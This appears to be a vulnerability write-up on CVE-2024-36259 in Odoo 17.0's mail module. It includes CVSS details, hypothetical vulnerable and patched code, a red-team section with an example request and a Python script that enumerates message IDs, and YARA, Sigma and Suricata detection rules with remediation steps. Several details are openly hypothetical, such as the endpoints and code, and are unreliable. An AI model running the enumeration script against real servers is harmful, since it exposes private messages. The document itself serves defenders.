CVE-2024-36259

Executive Summary

CVE-2024-36259 is an improper access control vulnerability in the mail module of Odoo Community 17.0 and Odoo Enterprise 17.0. This flaw allows a remote authenticated attacker to extract sensitive information through an oracle-based (yes/no response) crafted attack. The vulnerability has a CVSS score of 7.5 (High), indicating significant confidentiality impact. The EPSS score is 0.0%, suggesting low exploitation likelihood in the wild, but the lack of a known patch makes it a critical concern for organizations using Odoo 17.0.

Supply Chain & Package Security

Odoo is a Python-based ERP system distributed via PyPI (odoo package) and Docker images. Organizations using Odoo 17.0 from any source (PyPI, GitHub, Docker Hub) are affected. The vulnerability resides in the mail module, which is a core component of Odoo. No official patch or advisory has been released by Odoo as of this report.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is High due to the potential for sensitive data extraction (e.g., private messages, user details) by any authenticated user with minimal privileges.

Deep Dive & Mechanics

The vulnerability lies in the mail module's access control logic. Odoo's mail module handles internal messaging, notifications, and email integration. The improper access control allows an authenticated attacker to perform an oracle-based attack, where they can infer sensitive information by observing the system's response (yes/no) to crafted requests.

Mechanism:

1. The attacker sends a series of requests to the mail module's endpoints (e.g., /mail/message/read, /mail/notification/read).
2. The server responds with different status codes or response bodies based on whether the requested data exists or matches certain criteria.
3. By analyzing these responses, the attacker can enumerate private messages, user IDs, or other sensitive data without proper authorization.

Root Cause: The mail module fails to enforce proper access control checks on certain endpoints, allowing any authenticated user to query data they should not have access to.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the mail module's controllers or models. The following is a hypothetical example of the vulnerable code and a potential fix.

Vulnerable Code (Python/Odoo):

class MailMessage(models.Model):
    _name = 'mail.message'

    def read_message(self, message_id):
        # Missing access check
        message = self.browse(message_id)
        return message.read()

Patched Code (Hypothetical):

class MailMessage(models.Model):
    _name = 'mail.message'

    def read_message(self, message_id):
        message = self.browse(message_id)
        # Add access check
        if not message.check_access_rights('read'):
            raise AccessError("Access denied")
        return message.read()

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid Odoo 17.0 instance with mail module enabled.
• Authenticated user account (any role).

Exploitation Steps:

1. Identify Endpoints: Use a web proxy (e.g., Burp Suite) to intercept requests to the mail module. Common endpoints include:

   • /mail/message/read
   • /mail/notification/read
   • /mail/message/delete

2. Craft Oracle Attack: Send requests with varying parameters (e.g., message IDs) and observe responses.

   • Example request:

     POST /mail/message/read HTTP/1.1
     Host: target-odoo.com
     Cookie: session_id=valid_session
     Content-Type: application/json
     
     {"params": {"message_id": 1}}
     

   • If the response is 200 OK with data, the message exists and is accessible. If 404 Not Found or 403 Forbidden, the message does not exist or is inaccessible.

3. Enumerate Sensitive Data: Iterate through message IDs to extract private messages, user details, or other sensitive information.

Proof-of-Concept Script (Python):

import requests

target = "https://target-odoo.com"
session = requests.Session()
session.cookies.set("session_id", "valid_session")

for msg_id in range(1, 1000):
    response = session.post(f"{target}/mail/message/read", json={"params": {"message_id": msg_id}})
    if response.status_code == 200 and "id" in response.json():
        print(f"Message {msg_id} accessible: {response.text}")

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual patterns in mail module API calls, especially sequential message ID requests.
• Alert on multiple 403 or 404 responses followed by 200 from the same user.

Defense:

• Implement strict access control checks on all mail module endpoints.
• Rate-limit API requests to prevent enumeration.
• Use Web Application Firewall (WAF) rules to block suspicious patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated requests to /mail/message/read with sequential message_id parameters.
  • Unusual number of 403 or 404 responses from the mail module.
• Log IOCs:
  • Odoo server logs showing multiple access attempts to mail module endpoints from the same user.
  • Error logs with AccessError or MissingError for mail module operations.
• File IOCs:
  • Modified Odoo source files in addons/mail/models/ or addons/mail/controllers/.

Detection Engineering

YARA Rule

rule CVE_2024_36259_Odoo_Mail_Access_Control {
    meta:
        description = "Detects exploitation attempts for CVE-2024-36259 in Odoo mail module"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-36259"
    strings:
        $s1 = "/mail/message/read" ascii wide nocase
        $s2 = "/mail/notification/read" ascii wide nocase
        $s3 = "message_id" ascii wide nocase
    condition:
        any of ($s*) and #s3 > 10
}

Sigma Rule

title: CVE-2024-36259 Odoo Mail Module Enumeration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects sequential enumeration of mail module endpoints in Odoo 17.0
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: odoo
detection:
    selection:
        cs-uri-query|contains: "/mail/message/read"
    condition: selection
    timeframe: 5m
    threshold: 10
falsepositives:
    - Legitimate bulk operations
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-36259 Odoo Mail Module Enumeration"; flow:to_server,established; content:"/mail/message/read"; http_uri; fast_pattern; content:"message_id"; http_client_body; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Mail Module: If not critical, disable the mail module in Odoo settings.
2. Restrict Access: Use Odoo's access control lists (ACLs) to limit mail module access to trusted users only.
3. Monitor Logs: Enable detailed logging for mail module endpoints and review for suspicious activity.

Long-term Fix:

• Apply the official patch once released by Odoo.
• Upgrade to a patched version (e.g., Odoo 18.0 or later) if available.
• Implement custom access control checks in the mail module's controllers.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block requests to /mail/message/read from untrusted IPs.

Valters IT
DevSecOps & Cyber Threat Intelligence